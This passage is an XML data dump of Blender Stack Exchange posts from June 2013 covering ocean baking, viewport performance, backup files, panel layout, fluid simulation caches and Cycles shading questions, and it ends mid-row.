  <row Id="1195" PostTypeId="2" ParentId="1186" CreationDate="2013-06-20T06:28:50.097" Score="6" Body="&lt;p&gt;Finish settings for ocean such as wind, choppiness, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set resolution in ocean modifier. For example, 16 will result in a baked image 256x256 pixels. 64 is the largest, final baked image is 4096x4096.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the boxes for generate normals and Foam,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set cache path anywhere you want (should be an empty folder) and bake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a while you get images like this one in your cache folder:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XY7Qn.png&quot; alt=&quot;baked foam&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="181" LastEditorUserId="25" LastEditDate="2013-06-21T02:37:38.347" LastActivityDate="2013-06-21T02:37:38.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1197" PostTypeId="5" CreationDate="2013-06-20T08:27:07.367" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-20T08:27:07.367" LastActivityDate="2013-06-20T08:27:07.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1198" PostTypeId="4" CreationDate="2013-06-20T08:27:07.367" Score="0" Body="Microsoft's Kinect is a motion sensing input device for the Xbox 360 and PCs." OwnerUserId="238" LastEditorUserId="238" LastEditDate="2013-06-20T12:42:18.680" LastActivityDate="2013-06-20T12:42:18.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1199" PostTypeId="5" CreationDate="2013-06-20T08:34:28.420" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-20T08:34:28.420" LastActivityDate="2013-06-20T08:34:28.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1200" PostTypeId="4" CreationDate="2013-06-20T08:34:28.420" Score="0" Body="3D printing is the process of making a three-dimensional solid object of virtually any shape from a digital model." OwnerUserId="238" LastEditorUserId="238" LastEditDate="2013-06-20T11:16:11.813" LastActivityDate="2013-06-20T11:16:11.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1201" PostTypeId="2" ParentId="1182" CreationDate="2013-06-20T08:55:49.773" Score="7" Body="&lt;p&gt;I would like to share some stats that I gathered after doing some tests. I think what you are facing could be viewport performance issues and nothing really about Python. Those issues can be improved by following some optimizations (which are demonstrated below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One Suzanne mesh linked to 7497 Objects&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the viewport, with all the objects selected, I invoked the &lt;code&gt;Redraw Timer&lt;/code&gt; operator (&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt;) and chose &lt;code&gt;Draw Region + Swap&lt;/code&gt; option for the following cases&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With &lt;code&gt;Outline Selected&lt;/code&gt; checked on (under Display Panel of Properties Panel &lt;kbd&gt;N&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: 10 x Draw Region and Swap: 9437.80 ms,  average: 943.7801&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With &lt;code&gt;Outline Selected&lt;/code&gt; checked off &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: 10 x Draw Region and Swap: 7264.04 ms,  average: 726.4040&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With &lt;code&gt;Outline Selected&lt;/code&gt; checked off and VBOs Checked On (Sunder System Tab of User Preferences Editor &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;) &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: 10 x Draw Region and Swap: 1672.37 ms,  average: 167.2374&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;All 7497 Objects having their own copies of Suzanne Mesh&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and following similar test cases as above, I got the following results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: 10 x Draw Region and Swap: 7910.51 ms,  average: 791.0507&#xA;&#xA;Warning: 10 x Draw Region and Swap: 5558.50 ms,  average: 555.8497&#xA;&#xA;Warning: 10 x Draw Region and Swap: 1815.82 ms,  average: 181.5816&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps in what you are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PHFq3.png&quot; alt=&quot;Lots of Linked Meshes Test&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The &lt;em&gt;VBOs&lt;/em&gt; checkbox below the &lt;em&gt;Backface Culling&lt;/em&gt; was customized by me (by editing the python user interface files). VBOs setting is actually present in the User Preferences Editor.&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-06-24T13:34:26.057" LastActivityDate="2013-06-24T13:34:26.057" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1205" PostTypeId="5" CreationDate="2013-06-20T13:36:55.517" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-20T13:36:55.517" LastActivityDate="2013-06-20T13:36:55.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1206" PostTypeId="4" CreationDate="2013-06-20T13:36:55.517" Score="0" Body="The technique of minimizing the distortion artifacts when representing a high-resolution image at a lower resolution" OwnerUserId="238" LastEditorUserId="238" LastEditDate="2013-06-20T14:06:09.423" LastActivityDate="2013-06-20T14:06:09.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1207" PostTypeId="2" ParentId="1167" CreationDate="2013-06-20T13:52:08.117" Score="-2" Body="&lt;p&gt;For this you can practice with different types of keys in add&gt;matte.&#xA;for masking mostly difference key,color key and distance keys are used.&#xA;Try something like this:&#xA;add an image to blender compositor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s8GtL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add any one of the key and pick the colour you want to remove.Experiment with different types of keys and do fancy things like combining two images&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KK8KA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2013-06-20T13:52:08.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1208" PostTypeId="1" CreationDate="2013-06-20T13:57:08.497" Score="5" ViewCount="1361" Body="&lt;p&gt;I am baking a simulation which is taking up roughly 15 GB of memory, is this normal?  I am baking full smoke simulation with high resolution and high definition.&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="599" LastEditDate="2013-07-01T18:20:10.127" LastActivityDate="2013-09-18T02:46:36.673" Title="Too much Memory Usage?" Tags="&lt;smoke-simulation&gt;&lt;memory-management&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1209" PostTypeId="2" ParentId="1208" CreationDate="2013-06-20T14:07:09.553" Score="2" Body="&lt;p&gt;Yeah, it can get to be that large at that resolution. Since 1 cache file (at that resolution) can be around 15MB to 20MB it only takes 800 frames to be 16GB.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-20T14:07:09.553" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1210" PostTypeId="1" CreationDate="2013-06-20T14:41:17.307" Score="2" ViewCount="453" Body="&lt;p&gt;I have been working with the ICE tutorial for awhile now. The issue is when I change the box to a domain the text already appears to be baked even after I create a new project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I've screwed something up and I've been trying to come up with a fix for days now. I've tried to delete the baked text, undo my last few actions, create a new project and nothing is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://youtu.be/39-CWSn_kms&quot; rel=&quot;nofollow&quot;&gt;The tutorial&lt;/a&gt; is on youtube that was done by www.littlewebhut.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed the tutorial to the letter literally. I have even written down the instructions but can't seem to figure out what I am doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry I seem to be assuming too much.   When I right click on the text I go to the physics tab to change to fluid - fluid then I change the box in the physics tab fliud - domain but I like I said it appears that I have already baked the text. The very first time I tried the tutorial it didn't do that, but has since then. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="757" LastEditorUserId="599" LastEditDate="2013-06-28T00:58:17.853" LastActivityDate="2014-04-30T18:28:11.977" Title="text already baked before fluid simulation" Tags="&lt;fluid-simulation&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1211" PostTypeId="2" ParentId="1190" CreationDate="2013-06-20T15:02:14.760" Score="26" Body="&lt;p&gt;The challenge we have in general with feature requests is that a good place to ask assumes that there is some chance of developers reading and implementing it (or at least replying to the request).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, developers get asked for features a lot (personal emails, on blender-chat, mailing lists, on social networks even!)&amp;nbsp;— so chances are, you are not even the first person to ask for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ratio of people asking questions to those who can implement them is so high that its difficult to usefully manage requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially since Blender is general purpose 3D software, there are so many things you &lt;em&gt;might&lt;/em&gt; want to do, depending on your project.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Taking this into account, here are some suggestions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Check &lt;a href=&quot;https://developer.blender.org/T63725&quot; rel=&quot;nofollow noreferrer&quot;&gt;module owners tasks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Search on forums (eg, &lt;a href=&quot;http://www.blenderartists.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;blenderartists&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If nothing turns up:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ask on &lt;a href=&quot;http://rightclickselect.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;rightclickselect.com&lt;/a&gt;&lt;br&gt;&lt;em&gt;(community run web site, currently in development)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Ask in the &quot;User Feedback&quot; section of &lt;a href=&quot;https://devtalk.blender.org/c/other-topics/user-feedback/13&quot; rel=&quot;nofollow noreferrer&quot;&gt;devtalk.blender.org&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Find the developer who works on this are and mail them personally, see &lt;a href=&quot;https://wiki.blender.org/wiki/Modules&quot; rel=&quot;nofollow noreferrer&quot;&gt;Module Owners&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;You could look into funding the feature, Either by hiring a developer directly or contact the blender institute (via the &lt;a href=&quot;http://www.blendernetwork.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender network&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2020-03-12T01:41:10.220" LastActivityDate="2020-03-12T01:41:10.220" CommentCount="1" CommunityOwnedDate="2013-07-12T20:46:08.190" ContentLicense="CC BY-SA 4.0" />
  <row Id="1212" PostTypeId="1" AcceptedAnswerId="1213" CreationDate="2013-06-20T15:09:53.520" Score="15" ViewCount="7538" Body="&lt;p&gt;When I click save or hit &lt;kbd&gt;Command&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; what appears to be a new version of the document is created. So if I save 2 times, I get 2 documents, &lt;code&gt;filename.blend1&lt;/code&gt; and &lt;code&gt;filename.blend2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly are these files and why is Blender creating them?&lt;/p&gt;&#xA;" OwnerUserId="759" LastEditorUserId="12" LastEditDate="2013-06-20T16:47:01.877" LastActivityDate="2020-04-12T12:59:48.800" Title="Blender saves a new file every time" Tags="&lt;blend-files&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1213" PostTypeId="2" ParentId="1212" CreationDate="2013-06-20T15:23:07.287" Score="13" Body="&lt;p&gt;These are &lt;a href=&quot;https://docs.blender.org/manual/en/latest/troubleshooting/recover.html#troubleshooting-file-recovery&quot; rel=&quot;nofollow noreferrer&quot;&gt;backup files created by Blender&lt;/a&gt; and are fairly normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excerpt from the wiki&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Save and Auto Save&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...To reduce the chance of&#xA;  losing files when those events occur, Blender can use an Autosave&#xA;  function. The &lt;em&gt;File&lt;/em&gt; tab of the &lt;em&gt;User Preferences&lt;/em&gt; window allows you to&#xA;  configure the two ways that Blender provides for you to regress to a&#xA;  previous version of your work...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12" LastEditorUserId="31447" LastEditDate="2020-04-12T12:59:48.800" LastActivityDate="2020-04-12T12:59:48.800" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="1214" PostTypeId="2" ParentId="1182" CreationDate="2013-06-20T16:21:28.880" Score="2" Body="&lt;p&gt;The answer provided by @satishgoda also reminded me of a suggestion by PsyFi or Sabiantian_k.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Closing the outliner can speed up the viewport performance as the data view is is constantly being polled for updates. As the number of objects being checked for updates increase, it impacts performance.  &lt;/p&gt;&#xA;" OwnerUserId="175" LastEditorUserId="175" LastEditDate="2013-06-21T01:35:23.853" LastActivityDate="2013-06-21T01:35:23.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1215" PostTypeId="2" ParentId="1212" CreationDate="2013-06-20T16:24:01.577" Score="6" Body="&lt;p&gt;These are backup files, saved and incremented every time you make a save. Unless you really know what you are doing and aren't creating giant files I would leave this setting as it is.  One day you will want to retrieve critical blend information after an unexpected crash by loading one of those backups, and wish you hadn't disabled it. This can be an extra 'fail safe' in the unlikely event that &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Vitals/Undo_and_Redo#Recovering_Auto_Saves&quot; rel=&quot;nofollow&quot;&gt;'recover last session'&lt;/a&gt; doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These days storing data is so cheap, the only problem you might face is the organization of so many files. These files are fine to delete after a while if you really don't need them, or won't be working on a .blend anymore.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="12" LastEditDate="2013-12-04T17:44:41.637" LastActivityDate="2013-12-04T17:44:41.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1217" PostTypeId="2" ParentId="465" CreationDate="2013-06-20T18:26:00.257" Score="1" Body="&lt;p&gt;I don't know how an animated mesh actually works, but my best guess (correct me if I'm wrong) is that it records each vertexes position individually over time, so the local coordinates don't actually get changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the local coordinates are then the same as the global coordinates, there is no point in having an option for local coordinates any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you can really do about it, it depends on what &lt;em&gt;exactly&lt;/em&gt; you are trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be able to cheat and use other objects to be the actual inflow, or bake some parent to keyframes (3D view&gt;Object&gt;Animation&gt;Bake)   &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-06-20T18:42:41.233" LastActivityDate="2013-06-20T18:42:41.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1218" PostTypeId="1" AcceptedAnswerId="1220" CreationDate="2013-06-20T18:44:26.973" Score="4" ViewCount="568" Body="&lt;p&gt;What I would like to do is simply to apply a Matcap while editing, and then use its base colour as the colour of the object for test rendering etc. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it another way, if the Matcap is lime green, how can I make the object lime green (using vertex or material colours).&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="72" LastEditDate="2013-06-20T18:57:59.167" LastActivityDate="2013-06-20T19:01:51.783" Title="Is it possible to convert Matcap colours to vertex or material colours?" Tags="&lt;materials&gt;&lt;vertex-colors&gt;&lt;matcaps&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1219" PostTypeId="2" ParentId="1218" CreationDate="2013-06-20T18:54:10.093" Score="1" Body="&lt;p&gt;I'm not sure I understand you question perfectly, but other than opengl render, and the method in &lt;a href=&quot;https://blender.stackexchange.com/questions/256/can-matcaps-be-used-for-all-objects-and-not-just-selected-objects?rq=1&quot;&gt;this&lt;/a&gt; post, it's not possible to render with matcaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I think the method in the post linked above is close to what you want.&#xA;(just basically texturing the object with normal mapping)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2013-06-20T18:54:10.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1220" PostTypeId="2" ParentId="1218" CreationDate="2013-06-20T19:01:51.783" Score="4" Body="&lt;p&gt;This is not possible, using blenders built-in matcaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you could setup a material that uses a matcap image that uses normal mapping relative to a camera object, then bake this to vertex colors.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-20T19:01:51.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1222" PostTypeId="2" ParentId="1212" CreationDate="2013-06-20T19:09:34.037" Score="8" Body="&lt;p&gt;The other two answers have covered this already, but I just thought I would go further and show you the preference concerning this feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to &lt;code&gt;File→Preferences→File&lt;/code&gt;, you will have a box that says &quot;Save versions #&quot; (Where # is the number of versions to save).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HBt7n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want it disabled (if for example, you use a cloud service for backups), set it to &quot;0&quot;.&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-06-20T19:09:34.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1223" PostTypeId="1" AcceptedAnswerId="1224" CreationDate="2013-06-20T19:15:25.777" Score="79" ViewCount="120241" Body="&lt;p&gt;I can't find a way to close a view panel, in particular the horizontal at the bottom, is pretty useless to me at this moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MtVgn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="761" LastEditorUserId="761" LastEditDate="2013-06-20T19:22:47.073" LastActivityDate="2014-12-01T03:56:27.230" Title="How to close/open a view panel" Tags="&lt;3d-view&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="1224" PostTypeId="2" ParentId="1223" CreationDate="2013-06-20T19:23:23.033" Score="60" Body="&lt;p&gt;That is the &lt;em&gt;Logic Editor&lt;/em&gt; at the bottom, &lt;em&gt;(you probably opened it accidentally as it's not normally in the Default scene as you have it)&lt;/em&gt;. In your case here, look in the corner of the panel where the little lines are.. &lt;em&gt;(these are called the viewport handles and are always in the upper top-right or lower bottom-left)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cb9Xa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Left click the handle and drag &lt;strong&gt;down&lt;/strong&gt;, an arrow will overlay the view as a sort of confirmation, just drag it down and it will 'close' that view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, the process to open one is the same. You can also create new windows with these, Just &lt;kbd&gt;Shift&lt;/kbd&gt; click on the handles in either corner and drag it to 'tear' it out that view into its own window. &lt;em&gt;(this just makes a copy of that view in its own window, the original stays the same)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB:&lt;/strong&gt; A good point to further note is that to expand or collapse a view into another. They &lt;strong&gt;must&lt;/strong&gt; be of the same width or height. Meaning, if the top has two views and the bottom has one wide one, you wouldn't be able to expand the bottom one.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-20T19:39:37.613" LastActivityDate="2013-06-20T19:39:37.613" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1225" PostTypeId="2" ParentId="1223" CreationDate="2013-06-20T19:31:09.217" Score="63" Body="&lt;p&gt;&lt;em&gt;An alternative to iKlsR's answer:&lt;/em&gt;&lt;br&gt;&#xA;You can close a panel by right clicking on the line between the two pannels (i.e. the shadowed area. Your mouse will turn into a double-sided arrow when you hover) and clicking join area:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pb8uo.png&quot; alt=&quot;join/split area menu&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-20T19:31:09.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1226" PostTypeId="1" AcceptedAnswerId="1255" CreationDate="2013-06-20T20:00:45.230" Score="5" ViewCount="4253" Body="&lt;p&gt;I am trying to make a realistic orange juice in a glass scene, but the glass seems to mess things up, as can be demonstrated by enabling &quot;no caustics&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without glass with caustics, with the glass without caustics, and with the glass with caustics&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D1Pii.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/jTJ11.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/skWOO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the glass is making the orange juice darker and noisier. (all were rendered with 100 samples)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what is the best (fastest, nicest looking) way to render with the glass? (and still have the effects of refraction etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-06-20T21:24:25.730" LastActivityDate="2016-07-21T01:18:45.393" Title="Rendering Translucent Materals through Glass in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="9" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1227" PostTypeId="2" ParentId="1210" CreationDate="2013-06-20T20:24:53.447" Score="1" Body="&lt;p&gt;In the Physics&amp;gt;Fluid menu, try changing the cache path to somewhere else (this should be an empty folder)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M6GDi.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also if you press &amp;quot;bake&amp;quot; when the fluid is already baked, Blender will automatically overwrite any previous bake in the same directory.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-28T00:52:28.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1229" PostTypeId="1" AcceptedAnswerId="1231" CreationDate="2013-06-20T20:40:24.833" Score="11" ViewCount="2250" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xy4o2.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm trying to to create a compound shape pretty much in the same way I did in my C++ code.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create three shapes (two &lt;code&gt;btCylinderShape&lt;/code&gt;, and one &lt;code&gt;btConeShape&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Create a compund shape using the tree&#xA;individual shapes (btCompoundShape)&lt;/li&gt;&#xA;&lt;li&gt;Create a rigid body &lt;code&gt;btRigidBody&lt;/code&gt; using the compound shape passing a transformation matrix with some translation&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;How can it be done in blender?&lt;/p&gt;&#xA;&lt;p&gt;AFAIK, the option in &lt;strong&gt;Properties view panel&amp;gt;Physics tab&amp;gt;CollisionBounds disclosure triangle&amp;gt;Compound&lt;/strong&gt; has to be enabled for the three bodies, and one of them needs to be the parent, while the other two are its children.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KNLKn.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This works pretty well, but I need to add some offset to the parent too, as the picture shows, how can it be done?&lt;/p&gt;&#xA;&lt;p&gt;Using a fourth empty body as a parent would introduce an additional shape, that would mess the hole thing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M0oRC.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to add an additional transformation to the physics shape attached to a mesh?&lt;/p&gt;&#xA;&lt;p&gt;I'm currently using Blender v2.67b for Mac&lt;/p&gt;&#xA;" OwnerUserId="761" LastEditorUserId="86978" LastEditDate="2020-12-22T15:04:42.773" LastActivityDate="2020-12-22T15:04:42.773" Title="Bullet physics compound shape" Tags="&lt;modeling&gt;&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="1230" PostTypeId="1" AcceptedAnswerId="1254" CreationDate="2013-06-20T20:50:27.967" Score="7" ViewCount="4006" Body="&lt;p&gt;Reference image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ahx13.jpg&quot; alt=&quot;Reference image&quot;&gt;&#xA;(larger versions &lt;a href=&quot;http://en.wikipedia.org/wiki/File:Orange_juice_1_edit1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attempt 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple SSS shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EnY1h.png&quot; alt=&quot;with simple SSS materal&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/UAhYg.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ub8Oc.png&quot; alt=&quot;node setup for SSS mat&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Less simple SSS attempt:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K9OLU.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/gTE4c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried a absorption shader: (the absorption node group is from &lt;a href=&quot;https://www.youtube.com/watch?v=7tcHETob9eQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tAGsF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rdwe0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main question is, how to get that lightening effect around the edges, as there is less juice between the light and the camera.. (and also make it more transparent/refractive)&#xA;like here: &lt;img src=&quot;https://i.stack.imgur.com/LQkbO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(and in general, make it look more like orange juice)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="599" 